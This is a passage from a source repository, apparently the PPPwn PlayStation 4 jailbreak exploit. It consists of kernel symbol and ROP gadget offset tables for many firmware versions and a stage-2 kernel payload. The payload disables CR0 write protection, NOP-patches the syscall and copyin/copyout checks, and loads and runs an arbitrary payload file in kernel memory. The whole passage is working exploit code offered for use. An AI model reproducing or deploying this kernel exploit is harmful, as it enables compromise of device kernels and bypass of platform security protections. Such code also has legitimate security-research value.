0xffffffff822c50f0 166 | 167 | #define kdlsym_addr_sysent 0xffffffff83302d90 168 | 169 | #define kdlsym_addr_amd_syscall_patch1 0xffffffff82200490 170 | #define kdlsym_addr_amd_syscall_patch2 0xffffffff822004b5 171 | #define kdlsym_addr_amd_syscall_patch3 0xffffffff822004b9 172 | #define kdlsym_addr_amd_syscall_patch4 0xffffffff822004c2 173 | 174 | #define kdlsym_addr_copyin_patch1 0xffffffff82672f67 175 | #define kdlsym_addr_copyin_patch2 0xffffffff82672f73 176 | 177 | #define kdlsym_addr_copyout_patch1 0xffffffff82672e72 178 | #define kdlsym_addr_copyout_patch2 0xffffffff82672e7e 179 | 180 | #define kdlsym_addr_copyinstr_patch1 0xffffffff82673413 181 | #define kdlsym_addr_copyinstr_patch2 0xffffffff8267341f 182 | #define kdlsym_addr_copyinstr_patch3 0xffffffff82673450 183 | 184 | 185 | #elif (FIRMWARE == 1050 || FIRMWARE == 1070 || FIRMWARE == 1071) // FW 10.50 / 10.70 / 10.71 186 | 187 | #define kdlsym_addr_Xfast_syscall 0xffffffff822001c0 188 | #define kdlsym_addr_printf 0xffffffff82650e80 189 | 190 | #define kdlsym_addr_sysent 0xffffffff833029c0 191 | 192 | #define kdlsym_addr_amd_syscall_patch1 0xffffffff82200490 193 | #define kdlsym_addr_amd_syscall_patch2 0xffffffff822004b5 194 | #define kdlsym_addr_amd_syscall_patch3 0xffffffff822004b9 195 | #define kdlsym_addr_amd_syscall_patch4 0xffffffff822004c2 196 | 197 | #define kdlsym_addr_copyin_patch1 0xffffffff822d75b7 198 | #define kdlsym_addr_copyin_patch2 0xffffffff822d75c3 199 | 200 | #define kdlsym_addr_copyout_patch1 0xffffffff822d74c2 201 | #define kdlsym_addr_copyout_patch2 0xffffffff822d74ce 202 | 203 | #define kdlsym_addr_copyinstr_patch1 0xffffffff822d7a63 204 | #define kdlsym_addr_copyinstr_patch2 0xffffffff822d7a6f 205 | #define kdlsym_addr_copyinstr_patch3 0xffffffff822d7aa0 206 | 207 | 208 | #elif FIRMWARE == 1100 // FW 11.00 209 | 210 | #define kdlsym_addr_Xfast_syscall 0xffffffff822001c0 211 | #define kdlsym_addr_printf 0xffffffff824fcbd0 212 | 213 | #define kdlsym_addr_sysent 0xffffffff83301760 214 | 215 | #define kdlsym_addr_amd_syscall_patch1 0xffffffff82200490 216 | #define kdlsym_addr_amd_syscall_patch2 0xffffffff822004b5 217 | #define kdlsym_addr_amd_syscall_patch3 0xffffffff822004b9 218 | #define kdlsym_addr_amd_syscall_patch4 0xffffffff822004c2 219 | 220 | #define kdlsym_addr_copyin_patch1 0xffffffff824de037 221 | #define kdlsym_addr_copyin_patch2 0xffffffff824de043 222 | 223 | #define kdlsym_addr_copyout_patch1 0xffffffff824ddf42 224 | #define kdlsym_addr_copyout_patch2 0xffffffff824ddf4e 225 | 226 | #define kdlsym_addr_copyinstr_patch1 0xffffffff824de4e3 227 | #define kdlsym_addr_copyinstr_patch2 0xffffffff824de4ef 228 | #define kdlsym_addr_copyinstr_patch3 0xffffffff824de520 229 | 230 | #define kdlsym_addr_kernel_map 0xffffffff843ff130 231 | #define kdlsym_addr_kmem_alloc 0xffffffff82445e10 232 | #define kdlsym_addr_kmem_free 0xffffffff82445fe0 233 | 234 | #define kdlsym_addr_sceKernelSendNotificationRequest 0xffffffff82479960 235 | #define kdlsym_addr_vsprintf 0xffffffff824fcea0 236 | #define kdlsym_addr_snprintf 0xffffffff824fced0 237 | #define kdlsym_addr_strlen 0xffffffff8241dc40 238 | 239 | 240 | #else 241 | 242 | #error "Invalid firmware" 243 | 244 | #endif 245 | 246 | #define kdlsym(sym) (kaslr_offset + kdlsym_addr_##sym) 247 | 248 | #endif 249 | -------------------------------------------------------------------------------- /stage1/offsets.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2024 Andy Nguyen 3 | * 4 | * This software may be modified and distributed under the terms 5 | * of the MIT license. See the LICENSE file for details. 6 | */ 7 | 8 | #ifndef __OFFSETS_H__ 9 | #define __OFFSETS_H__ 10 | 11 | #if (FIRMWARE == 750 || FIRMWARE == 751 || FIRMWARE == 755) // FW 7.50 / FW 7.51 / FW 7.55 12 | 13 | #define kdlsym_addr_Xfast_syscall 0xffffffff822001c0 14 | 15 | #define kdlsym_addr_pppoe_softc_list 0xffffffff8433fcd0 16 | 17 | #define kdlsym_addr_cc_cpu 0xffffffff8442a6b0 18 | #define kdlsym_addr_callwheelsize 0xffffffff8442c6b0 19 | 20 | #define kdlsym_addr_nd6_llinfo_timer 0xffffffff823e1a70 21 | 22 | #define kdlsym_addr_Xill 0xffffffff823bc880 23 | #define kdlsym_addr_setidt 0xffffffff825d9440 24 | 25 | #define kdlsym_addr_kernel_map 0xffffffff843405b8 26 | #define kdlsym_addr_kmem_alloc 0xffffffff823753e0 27 | 28 | #define kdlsym_addr_kproc_create 0xffffffff8220d8f0 29 | #define kdlsym_addr_kproc_exit 0xffffffff8220db60 30 | 31 | #define kdlsym_addr_ksock_create 0xffffffff82521da0 32 | #define kdlsym_addr_ksock_close 0xffffffff82521e10 33 | #define kdlsym_addr_ksock_bind 0xffffffff82521e20 34 | #define kdlsym_addr_ksock_recv 0xffffffff82522180 35 | 36 | #define kdlsym_addr_uart_patch 0xffffffff83764910 37 | #define kdlsym_addr_veri_patch 0xffffffff82837394 38 | 39 | #elif (FIRMWARE == 800 || FIRMWARE == 801 || FIRMWARE == 803) // FW 8.00 / 8.01 / 8.03 40 | 41 | #define kdlsym_addr_Xfast_syscall 0xffffffff822001c0 42 | 43 | #define kdlsym_addr_pppoe_softc_list 0xffffffff84422370 44 | 45 | #define kdlsym_addr_cc_cpu 0xffffffff83d8a5d0 46 | #define kdlsym_addr_callwheelsize 0xffffffff83d8c5d0 47 | 48 | #define kdlsym_addr_nd6_llinfo_timer 0xffffffff825a4880 49 | 50 | #define kdlsym_addr_Xill 0xffffffff82516e00 51 | #define kdlsym_addr_setidt 0xffffffff82249dd0 52 | 53 | #define kdlsym_addr_kernel_map 0xffffffff83d243e0 54 | #define kdlsym_addr_kmem_alloc 0xffffffff8221b3f0 55 | 56 | #define kdlsym_addr_kproc_create 0xffffffff8266dfd0 57 | #define kdlsym_addr_kproc_exit 0xffffffff8266e240 58 | 59 | #define kdlsym_addr_ksock_create 0xffffffff822fbf90 60 | #define kdlsym_addr_ksock_close 0xffffffff822fc000 61 | #define kdlsym_addr_ksock_bind 0xffffffff822fc010 62 | #define kdlsym_addr_ksock_recv 0xffffffff822fc370 63 | 64 | #define kdlsym_addr_uart_patch 0xffffffff8375d190 65 | #define kdlsym_addr_veri_patch 0xffffffff8282d254 66 | 67 | 68 | #elif (FIRMWARE == 850 || FIRMWARE == 852) // FW 8.50 / 8.52 69 | 70 | #define kdlsym_addr_Xfast_syscall 0xffffffff822001c0 // Identical to 9.00 71 | 72 | #define kdlsym_addr_pppoe_softc_list 0xffffffff83dd6018 73 | 74 | #define kdlsym_addr_cc_cpu 0xffffffff83dca4f0 75 | #define kdlsym_addr_callwheelsize 0xffffffff83dcc4f0 76 | 77 | #define kdlsym_addr_nd6_llinfo_timer 0xffffffff822f9000 78 | 79 | #define kdlsym_addr_Xill 0xffffffff8257e710 80 | #define kdlsym_addr_setidt 0xffffffff82467340 81 | 82 | #define kdlsym_addr_kernel_map 0xffffffff83e64228 83 | #define kdlsym_addr_kmem_alloc 0xffffffff824199a0 84 | 85 | #define kdlsym_addr_kproc_create 0xffffffff82210610 86 | #define kdlsym_addr_kproc_exit 0xffffffff82210880 87 | 88 | #define kdlsym_addr_ksock_create 0xffffffff82331600 89 | #define kdlsym_addr_ksock_close 0xffffffff82331670 90 | #define kdlsym_addr_ksock_bind 0xffffffff82331680 91 | #define kdlsym_addr_ksock_recv 0xffffffff823319e0 92 | 93 | #define kdlsym_addr_uart_patch 0xffffffff8373ae88 94 | #define kdlsym_addr_veri_patch 0xffffffff82824674 95 | 96 | 97 | #elif FIRMWARE == 900 // FW 9.00 98 | 99 | #define kdlsym_addr_Xfast_syscall 0xffffffff822001c0 100 | 101 | #define kdlsym_addr_pppoe_softc_list 0xffffffff843ed9f8 102 | 103 | #define kdlsym_addr_cc_cpu 0xffffffff843ad360 104 | #define kdlsym_addr_callwheelsize 0xffffffff843af360 105 | 106 | #define kdlsym_addr_nd6_llinfo_timer 0xffffffff822ad070 107 | 108 | #define kdlsym_addr_Xill 0xffffffff8237d500 109 | #define kdlsym_addr_setidt 0xffffffff82512c40 110 | 111 | #define kdlsym_addr_kernel_map 0xffffffff84468d48 112 | #define kdlsym_addr_kmem_alloc 0xffffffff8257be70 113 | 114 | #define kdlsym_addr_kproc_create 0xffffffff822969e0 115 | #define kdlsym_addr_kproc_exit 0xffffffff82296c50 116 | 117 | #define kdlsym_addr_ksock_create 0xffffffff8261bd20 118 | #define kdlsym_addr_ksock_close 0xffffffff8261bd90 119 | #define kdlsym_addr_ksock_bind 0xffffffff8261bda0 120 | #define kdlsym_addr_ksock_recv 0xffffffff8261c100 121 | 122 | #define kdlsym_addr_uart_patch 0xffffffff8372bf60 123 | #define kdlsym_addr_veri_patch 0xffffffff82826874 124 | 125 | 126 | #elif (FIRMWARE == 903 || FIRMWARE == 904) // FW 9.03 / 9.04 127 | 128 | #define kdlsym_addr_Xfast_syscall 0xffffffff822001c0 // Identical to 9.00 129 | 130 | #define kdlsym_addr_pppoe_softc_list 0xffffffff843e99f8 131 | 132 | #define kdlsym_addr_cc_cpu 0xffffffff843a9360 133 | #define kdlsym_addr_callwheelsize 0xffffffff843ab360 134 | 135 | #define kdlsym_addr_nd6_llinfo_timer 0xffffffff822ad070 // Identical to 9.00 136 | 137 | #define kdlsym_addr_Xill 0xffffffff8237d4b0 138 | #define kdlsym_addr_setidt 0xffffffff825128e0 139 | 140 | #define kdlsym_addr_kernel_map 0xffffffff84464d48 141 | #define kdlsym_addr_kmem_alloc 0xffffffff8257a070 142 | 143 | #define kdlsym_addr_kproc_create 0xffffffff822969e0 // Identical to 9.00 144 | #define kdlsym_addr_kproc_exit 0xffffffff82296c50 // Identical to 9.00 145 | 146 | #define kdlsym_addr_ksock_create 0xffffffff82619c90 147 | #define kdlsym_addr_ksock_close 0xffffffff82619d00 148 | #define kdlsym_addr_ksock_bind 0xffffffff82619d10 149 | #define kdlsym_addr_ksock_recv 0xffffffff8261a070 150 | 151 | #define kdlsym_addr_uart_patch 0xffffffff83727f60 152 | #define kdlsym_addr_veri_patch 0xffffffff82824834 153 | 154 | 155 | #elif (FIRMWARE == 950 || FIRMWARE == 951 || FIRMWARE == 960) // FW 9.50 / 9.51 / 9.60 156 | 157 | #define kdlsym_addr_Xfast_syscall 0xffffffff822001c0 158 | 159 | #define kdlsym_addr_pppoe_softc_list 0xffffffff8434c0a8 160 | 161 | #define kdlsym_addr_cc_cpu 0xffffffff8441ad60 162 | #define kdlsym_addr_callwheelsize 0xffffffff8441cd60 163 | 164 | #define kdlsym_addr_nd6_llinfo_timer 0xffffffff822044e0 165 | 166 | #define kdlsym_addr_Xill 0xffffffff8261fae0 167 | #define kdlsym_addr_setidt 0xffffffff8254d320 168 | 169 | #define kdlsym_addr_kernel_map 0xffffffff84347830 170 | #define kdlsym_addr_kmem_alloc 0xffffffff823889d0 171 | 172 | #define kdlsym_addr_kproc_create 0xffffffff82654e30 173 | #define kdlsym_addr_kproc_exit 0xffffffff826550a0 174 | 175 | #define kdlsym_addr_ksock_create 0xffffffff8261bac0 176 | #define kdlsym_addr_ksock_close 0xffffffff8261bb30 177 | #define kdlsym_addr_ksock_bind 0xffffffff8261bb40 178 | #define kdlsym_addr_ksock_recv 0xffffffff8261bea0 179 | 180 | #define kdlsym_addr_uart_patch 0xffffffff83c50be0 181 | #define kdlsym_addr_veri_patch 0xffffffff82824ae4 182 | 183 | 184 | #elif (FIRMWARE == 1000 || FIRMWARE == 1001) // FW 10.00 / 10.01 185 | 186 | #define kdlsym_addr_Xfast_syscall 0xffffffff822001c0 187 | 188 | #define kdlsym_addr_pppoe_softc_list 0xffffffff8446d920 189 | 190 | #define kdlsym_addr_cc_cpu 0xffffffff844921b0 191 | #define kdlsym_addr_callwheelsize 0xffffffff844941b0 192 | 193 | #define kdlsym_addr_nd6_llinfo_timer 0xffffffff82651780 194 | 195 | #define kdlsym_addr_Xill 0xffffffff824d2370 196 | #define kdlsym_addr_setidt 0xffffffff8227b460 197 | 198 | #define kdlsym_addr_kernel_map 0xffffffff8447bef8 199 | #define kdlsym_addr_kmem_alloc 0xffffffff8253b040 200 | 201 | #define kdlsym_addr_kproc_create 0xffffffff82407d90 202 | #define kdlsym_addr_kproc_exit 0xffffffff82408000 203 | 204 | #define kdlsym_addr_ksock_create 0xffffffff82406a10 205 | #define kdlsym_addr_ksock_close 0xffffffff82406a80 206 | #define kdlsym_addr_ksock_bind 0xffffffff82406a90 207 | #define kdlsym_addr_ksock_recv 0xffffffff82406df0 208 | 209 | #define kdlsym_addr_uart_patch 0xffffffff83c78a78 210 | #define kdlsym_addr_veri_patch 0xffffffff8281e864 211 | 212 | 213 | #elif (FIRMWARE == 1050 || FIRMWARE == 1070 || FIRMWARE == 1071) // FW 10.50 / 10.70 / 10.71 214 | 215 | #define kdlsym_addr_Xfast_syscall 0xffffffff822001c0 216 | 217 | #define kdlsym_addr_pppoe_softc_list 0xffffffff844514b8 218 | 219 | #define kdlsym_addr_cc_cpu 0xffffffff8444e340 220 | #define kdlsym_addr_callwheelsize 0xffffffff84450340 221 | 222 | #define kdlsym_addr_nd6_llinfo_timer 0xffffffff8262dbf0 223 | 224 | #define kdlsym_addr_Xill 0xffffffff823b5810 225 | #define kdlsym_addr_setidt 0xffffffff82341470 226 | 227 | #define kdlsym_addr_kernel_map 0xffffffff844a9250 228 | #define kdlsym_addr_kmem_alloc 0xffffffff82628960 229 | 230 | #define kdlsym_addr_kproc_create 0xffffffff825ab490 231 | #define kdlsym_addr_kproc_exit 0xffffffff825ab700 232 | 233 | #define kdlsym_addr_ksock_create 0xffffffff824160e0 234 | #define kdlsym_addr_ksock_close 0xffffffff82416150 235 | #define kdlsym_addr_ksock_bind 0xffffffff82416160 236 | #define kdlsym_addr_ksock_recv 0xffffffff824164c0 237 | 238 | #define kdlsym_addr_uart_patch 0xffffffff83c3bca0 239 | #define kdlsym_addr_veri_patch 0xffffffff82827db4 240 | 241 | 242 | #elif FIRMWARE == 1100 // FW 11.00 243 | 244 | #define kdlsym_addr_Xfast_syscall 0xffffffff822001c0 245 | 246 | #define kdlsym_addr_pppoe_softc_list 0xffffffff844e2578 247 | 248 | #define kdlsym_addr_cc_cpu 0xffffffff844dde80 249 | #define kdlsym_addr_callwheelsize 0xffffffff844dfe80 250 | 251 | #define kdlsym_addr_nd6_llinfo_timer 0xffffffff82404e00 252 | 253 | #define kdlsym_addr_Xill 0xffffffff824d2370 254 | #define kdlsym_addr_setidt 0xffffffff8245bdb0 255 | 256 | #define kdlsym_addr_kernel_map 0xffffffff843ff130 257 | #define kdlsym_addr_kmem_alloc 0xffffffff82445e10 258 | 259 | #define kdlsym_addr_kproc_create 0xffffffff822c3140 260 | #define kdlsym_addr_kproc_exit 0xffffffff822C33b0 261 | 262 | #define kdlsym_addr_ksock_create 0xffffffff824a9cc0 263 | #define kdlsym_addr_ksock_close 0xffffffff824a9d30 264 | #define kdlsym_addr_ksock_bind 0xffffffff824a9d40 265 | #define kdlsym_addr_ksock_recv 0xffffffff824aa0a0 266 | 267 | #define kdlsym_addr_uart_patch 0xffffffff8372cff8 268 | #define kdlsym_addr_veri_patch 0xffffffff82823f64 269 | 270 | 271 | #else 272 | 273 | #error "Invalid firmware" 274 | 275 | #endif 276 | 277 | #define kdlsym(sym) (kaslr_offset + kdlsym_addr_##sym) 278 | 279 | #endif 280 | -------------------------------------------------------------------------------- /stage2/stage2.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2024 Andy Nguyen 3 | * 4 | * This software may be modified and distributed under the terms 5 | * of the MIT license. See the LICENSE file for details. 6 | */ 7 | 8 | // clang-format off 9 | #define _KERNEL 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include "offsets.h" 26 | // clang-format on 27 | 28 | #define PS4_PAGE_SIZE 0x4000 29 | #define ROUND_PG(x) (((x) + (PS4_PAGE_SIZE - 1)) & ~(PS4_PAGE_SIZE - 1)) 30 | 31 | #define PAYLOAD_NAME "goldhen.bin" 32 | #define PAYLOAD_EXT_PATH "/mnt/usb0/" PAYLOAD_NAME 33 | #define PAYLOAD_INT_PATH "/data/GoldHEN/payloads/" PAYLOAD_NAME 34 | 35 | // by OSM-Made 36 | typedef struct { 37 | int type; 38 | int reqId; 39 | int priority; 40 | int msgId; 41 | int targetId; 42 | int userId; 43 | int unk1; 44 | int unk2; 45 | int appId; 46 | int errorNum; 47 | int unk3; 48 | unsigned char useIconImageUri; 49 | char message[1024]; 50 | char iconUri[1024]; 51 | char unk[1024]; 52 | } OrbisNotificationRequest; 53 | 54 | struct sysent *sysents; 55 | 56 | static inline uint64_t rdmsr(u_int msr) { 57 | uint32_t low, high; 58 | asm volatile("rdmsr" : "=a"(low), "=d"(high) : "c"(msr)); 59 | return (low | ((uint64_t)high << 32)); 60 | } 61 | 62 | static inline void load_cr0(u_long data) { 63 | asm volatile("movq %0, %%cr0" ::"r"(data)); 64 | } 65 | 66 | static inline u_long rcr0(void) { 67 | u_long data; 68 | asm volatile("movq %%cr0, %0" : "=r"(data)); 69 | return data; 70 | } 71 | 72 | static int ksys_open(struct thread *td, const char *path, int flags, int mode) { 73 | int (*sys_open)(struct thread *, struct open_args *) = (void *)sysents[SYS_open].sy_call; 74 | 75 | td->td_retval[0] = 0; 76 | 77 | struct open_args uap; 78 | uap.path = (char *)path; 79 | uap.flags = flags; 80 | uap.mode = mode; 81 | int error = sys_open(td, &uap); 82 | if (error) return -error; 83 | 84 | return td->td_retval[0]; 85 | } 86 | 87 | static int ksys_read(struct thread *td, int fd, void *buf, size_t nbytes) { 88 | int (*sys_read)(struct thread *, struct read_args *) = (void *)sysents[SYS_read].sy_call; 89 | 90 | td->td_retval[0] = 0; 91 | 92 | struct read_args uap; 93 | uap.fd = fd; 94 | uap.buf = buf; 95 | uap.nbyte = nbytes; 96 | int error = sys_read(td, &uap); 97 | if (error) return -error; 98 | 99 | return td->td_retval[0]; 100 | } 101 | 102 | static int ksys_write(struct thread *td, int fd, const void *buf, size_t nbytes) { 103 | int (*sys_write)(struct thread *, struct write_args *) = (void *)sysents[SYS_write].sy_call; 104 | 105 | td->td_retval[0] = 0; 106 | 107 | struct write_args uap; 108 | uap.fd = fd; 109 | uap.buf = buf; 110 | uap.nbyte = nbytes; 111 | int error = sys_write(td, &uap); 112 | if (error) return -error; 113 | 114 | return td->td_retval[0]; 115 | } 116 | 117 | static int ksys_close(struct thread *td, int fd) { 118 | int (*sys_close)(struct thread *, struct close_args *) = (void *)sysents[SYS_close].sy_call; 119 | 120 | td->td_retval[0] = 0; 121 | 122 | struct close_args uap; 123 | uap.fd = fd; 124 | int error = sys_close(td, &uap); 125 | if (error) return -error; 126 | 127 | return td->td_retval[0]; 128 | } 129 | 130 | static int ksys_lseek(struct thread *td, int fd, uint64_t offset, int whence) { 131 | int (*sys_lseek)(struct thread *, struct lseek_args *) = (void *)sysents[SYS_lseek].sy_call; 132 | 133 | td->td_retval[0] = 0; 134 | 135 | struct lseek_args uap; 136 | uap.fd = fd; 137 | uap.offset = offset; 138 | uap.whence = whence; 139 | int error = sys_lseek(td, &uap); 140 | if (error) return -error; 141 | 142 | return td->td_retval[0]; 143 | } 144 | 145 | static int ksys_unlink(struct thread *td, const char *path) { 146 | int (*sys_unlink)(struct thread *, struct unlink_args *) = (void *)sysents[SYS_unlink].sy_call; 147 | 148 | td->td_retval[0] = 0; 149 | 150 | struct unlink_args uap; 151 | uap.path = (char *)path; 152 | int error = sys_unlink(td, &uap); 153 | if (error) return -error; 154 | 155 | return td->td_retval[0]; 156 | } 157 | 158 | static int ksys_access(struct thread *td, struct access_args *uap) { 159 | int (*sys_access)(struct thread *, struct access_args *) = (void *)sysents[SYS_access].sy_call; 160 | 161 | td->td_retval[0] = 0; 162 | 163 | int error = sys_access(td, uap); 164 | if (error) return -error; 165 | 166 | return td->td_retval[0]; 167 | } 168 | 169 | static int ksys_mkdir(struct thread *td, const char *path, int mode) { 170 | int (*sys_mkdir)(struct thread *, struct mkdir_args *) = 171 | (void *)sysents[SYS_mkdir].sy_call; 172 | 173 | td->td_retval[0] = 0; 174 | 175 | struct mkdir_args uap; 176 | uap.path = (char *)path; 177 | uap.mode = mode; 178 | int error = sys_mkdir(td, &uap); 179 | if (error) return -error; 180 | 181 | return td->td_retval[0]; 182 | } 183 | 184 | static int ksys_stat(struct thread *td, const char *path, struct stat *ub) { 185 | int (*sys_stat)(struct thread *, struct stat_args *) = (void *)sysents[SYS_stat].sy_call; 186 | 187 | td->td_retval[0] = 0; 188 | 189 | struct stat_args uap; 190 | uap.path = (char *)path; 191 | uap.ub = ub; 192 | int error = sys_stat(td, &uap); 193 | if (error) return -error; 194 | 195 | return td->td_retval[0]; 196 | } 197 | 198 | void notify(const char *fmt, ...) 199 | { 200 | uint64_t kaslr_offset = rdmsr(MSR_LSTAR) - kdlsym_addr_Xfast_syscall; 201 | int (*sceKernelSendNotificationRequest)(int device, OrbisNotificationRequest* req, int size , int blocking) = (void *)kdlsym(sceKernelSendNotificationRequest); 202 | int (*vsprintf)(char *, const char *, va_list) = (void *)kdlsym(vsprintf); 203 | 204 | OrbisNotificationRequest buf; 205 | 206 | va_list args; 207 | va_start(args, fmt); 208 | vsprintf(buf.message, fmt, args); 209 | va_end(args); 210 | 211 | buf.type = 0; 212 | buf.unk3 = 0; 213 | buf.useIconImageUri = 0; 214 | buf.targetId = -1; 215 | 216 | sceKernelSendNotificationRequest(0, &buf, sizeof(buf), 0); 217 | } 218 | 219 | static void create_dir(struct thread *td, const char *dir) { 220 | uint64_t kaslr_offset = rdmsr(MSR_LSTAR) - kdlsym_addr_Xfast_syscall; 221 | int (*snprintf)(char *, size_t , const char *, ...) = (void *)kdlsym(snprintf); 222 | size_t (*strlen)(const char *) = (void *)kdlsym(strlen); 223 | 224 | char tmp[256]; 225 | char *p = NULL; 226 | size_t len; 227 | 228 | snprintf(tmp, sizeof(tmp), "%s", dir); 229 | len = strlen(tmp); 230 | 231 | if (tmp[len - 1] == '/') 232 | tmp[len - 1] = 0; 233 | 234 | for (p = tmp + 1; *p; p++) { 235 | if (*p == '/') { 236 | *p = '\0'; 237 | ksys_mkdir(td, tmp, S_IRWXU); 238 | *p = '/'; 239 | } 240 | } 241 | 242 | if (dir[len - 1] == '/') { 243 | ksys_mkdir(td, tmp, S_IRWXU); 244 | } 245 | } 246 | 247 | int file_exists(struct thread *td, const char *path) { 248 | struct access_args uap; 249 | uap.path = (char *)path; 250 | uap.flags = F_OK; 251 | 252 | return ksys_access(td, &uap) == 0; 253 | } 254 | 255 | void file_copy(struct thread *td, char* src, char* dst) { 256 | uint64_t kaslr_offset = rdmsr(MSR_LSTAR) - kdlsym_addr_Xfast_syscall; 257 | int (*printf)(const char *format, ...) = (void *)kdlsym(printf); 258 | 259 | if (!file_exists(td, src)) { 260 | printf("[-] Error: Source file %s does not exist\n", src); 261 | return; 262 | } 263 | 264 | create_dir(td, PAYLOAD_INT_PATH); 265 | 266 | int src_fd = ksys_open(td, src, O_RDONLY, 0); 267 | if (src_fd < 0) { 268 | printf("[-] Error: Unable to open source file %s\n", src); 269 | return; 270 | } 271 | 272 | int dest_fd = ksys_open(td, dst, O_WRONLY | O_CREAT | O_TRUNC, 0644); 273 | if (dest_fd < 0) { 274 | printf("[-] Error: Unable to create destination file %s\n", dst); 275 | ksys_close(td, src_fd); 276 | return; 277 | } 278 | 279 | char buffer[1024]; 280 | ssize_t bytes_read; 281 | ssize_t bytes_written; 282 | 283 | while ((bytes_read = ksys_read(td, src_fd, buffer, sizeof(buffer))) > 0) { 284 | bytes_written = ksys_write(td, dest_fd, buffer, bytes_read); 285 | if (bytes_written != bytes_read) { 286 | printf("[-] Error: Unable to write to destination file %s\n", dst); 287 | ksys_close(td, src_fd); 288 | ksys_close(td, dest_fd); 289 | return; 290 | } 291 | } 292 | 293 | if (bytes_read < 0) { 294 | printf("[-] Error: Unable to read from source file %s\n", src); 295 | ksys_close(td, src_fd); 296 | ksys_close(td, dest_fd); 297 | return; 298 | } 299 | 300 | ksys_close(td, src_fd); 301 | ksys_close(td, dest_fd); 302 | } 303 | 304 | void exec_payload(struct thread *td, char* payload_path) { 305 | void *file_buffer; 306 | size_t file_size; 307 | 308 | uint64_t kaslr_offset = rdmsr(MSR_LSTAR) - kdlsym_addr_Xfast_syscall; 309 | 310 | int (*printf)(const char *format, ...) = (void *)kdlsym(printf); 311 | void **kernel_map = (void **)kdlsym(kernel_map); 312 | void *(*kmem_alloc)(void *, uint64_t) = (void *)kdlsym(kmem_alloc); 313 | void *(*kmem_free)(void *, void *, uint64_t) = (void *)kdlsym(kmem_free); 314 | 315 | int fd = ksys_open(td, payload_path, O_RDONLY, 0); 316 | 317 | if (fd < 0) { 318 | printf("[-] Error opening the file %s\n", payload_path); 319 | return; 320 | } 321 | 322 | off_t file_offset = ksys_lseek(td, fd, 0, SEEK_END); 323 | ksys_lseek(td, fd, 0, SEEK_SET); 324 | 325 | if (file_offset <= 0) { 326 | printf("[-] Error getting payload size\n"); 327 | ksys_close(td, fd); 328 | return; 329 | } 330 | 331 | file_size = file_offset; 332 | file_buffer = kmem_alloc(*kernel_map, ROUND_PG(file_size)); 333 | 334 | if (file_buffer == NULL) { 335 | printf("[-] Error creating memory buffer\n"); 336 | ksys_close(td, fd); 337 | return; 338 | } 339 | 340 | ssize_t bytes_read = ksys_read(td, fd, file_buffer, file_size); 341 | 342 | if (bytes_read != file_size) { 343 | printf("[-] Error reading the file\n"); 344 | kmem_free(*kernel_map, file_buffer, ROUND_PG(file_size)); 345 | ksys_close(td, fd); 346 | return; 347 | } 348 | 349 | ksys_close(td, fd); 350 | 351 | void (*entry_point)(void) = (void (*)(void))file_buffer; 352 | entry_point(); 353 | 354 | notify("Payload successfully loaded!"); 355 | } 356 | 357 | void inject_payload(struct thread *td) { 358 | uint64_t kaslr_offset = rdmsr(MSR_LSTAR) - kdlsym_addr_Xfast_syscall; 359 | int (*printf)(const char *format, ...) = (void *)kdlsym(printf); 360 | 361 | if (file_exists(td, PAYLOAD_EXT_PATH)) { 362 | // Updating internal payload copy 363 | if (file_exists(td, PAYLOAD_INT_PATH)) { 364 | int result = ksys_unlink(td, PAYLOAD_INT_PATH); 365 | 366 | if (result < 0) { 367 | printf("[-] Error deleting existing file %s\n", PAYLOAD_INT_PATH); 368 | return; 369 | } 370 | } 371 | 372 | file_copy(td, PAYLOAD_EXT_PATH, PAYLOAD_INT_PATH); 373 | } 374 | 375 | if (file_exists(td, PAYLOAD_INT_PATH)) { 376 | exec_payload(td, PAYLOAD_INT_PATH); 377 | } 378 | } 379 | 380 | void stage2(void) { 381 | uint64_t kaslr_offset = rdmsr(MSR_LSTAR) - kdlsym_addr_Xfast_syscall; 382 | 383 | int (*printf)(const char *format, ...) = (void *)kdlsym(printf); 384 | 385 | sysents = (struct sysent *)kdlsym(sysent); 386 | 387 | printf("stage2\n"); 388 | 389 | // Disable write protection 390 | uint64_t cr0 = rcr0(); 391 | load_cr0(cr0 & ~CR0_WP); 392 | 393 | // Allow syscalls everywhere 394 | *(uint32_t *)kdlsym(amd_syscall_patch1) = 0; 395 | *(uint16_t *)kdlsym(amd_syscall_patch2) = 0x9090; 396 | *(uint16_t *)kdlsym(amd_syscall_patch3) = 0x9090; 397 | *(uint8_t *)kdlsym(amd_syscall_patch4) = 0xeb; 398 | 399 | // Allow user and kernel addresses 400 | uint8_t nops[] = {0x90, 0x90, 0x90}; 401 | 402 | *(uint16_t *)kdlsym(copyin_patch1) = 0x9090; 403 | memcpy((void *)kdlsym(copyin_patch2), nops, sizeof(nops)); 404 | 405 | *(uint16_t *)kdlsym(copyout_patch1) = 0x9090; 406 | memcpy((void *)kdlsym(copyout_patch2), nops, sizeof(nops)); 407 | 408 | *(uint16_t *)kdlsym(copyinstr_patch1) = 0x9090; 409 | memcpy((void *)kdlsym(copyinstr_patch2), nops, sizeof(nops)); 410 | *(uint16_t *)kdlsym(copyinstr_patch3) = 0x9090; 411 | 412 | // Restore write protection 413 | load_cr0(cr0); 414 | 415 | // Send notification 416 | notify("PPPwned"); 417 | 418 | // Inject payload 419 | struct thread *td = curthread; 420 | inject_payload(td); 421 | } 422 | -------------------------------------------------------------------------------- /offsets.py: -------------------------------------------------------------------------------- 1 | # Copyright (C) 2024 Andy Nguyen 2 | # 3 | # This software may be modified and distributed under the terms 4 | # of the MIT license. See the LICENSE file for details. 5 | 6 | # FW 7.50 / 7.51 / 7.50 7 | class OffsetsFirmware_750_755: 8 | PPPOE_SOFTC_LIST = 0xffffffff8433fcd0 9 | 10 | KERNEL_MAP = 0xffffffff843405b8 11 | 12 | SETIDT = 0xffffffff825d9440 13 | 14 | KMEM_ALLOC = 0xffffffff823753e0 15 | KMEM_ALLOC_PATCH1 = 0xffffffff823754ac 16 | KMEM_ALLOC_PATCH2 = 0xffffffff823754b4 17 | 18 | MEMCPY = 0xffffffff8248f800 19 | 20 | # 0xffffffffe19d9cf9 : mov cr0, rsi ; ud2 ; mov eax, 1 ; ret 21 | MOV_CR0_RSI_UD2_MOV_EAX_1_RET = 0xffffffff825a2589 22 | 23 | SECOND_GADGET_OFF = 0x3b 24 | 25 | # 0xffffffff824095e7 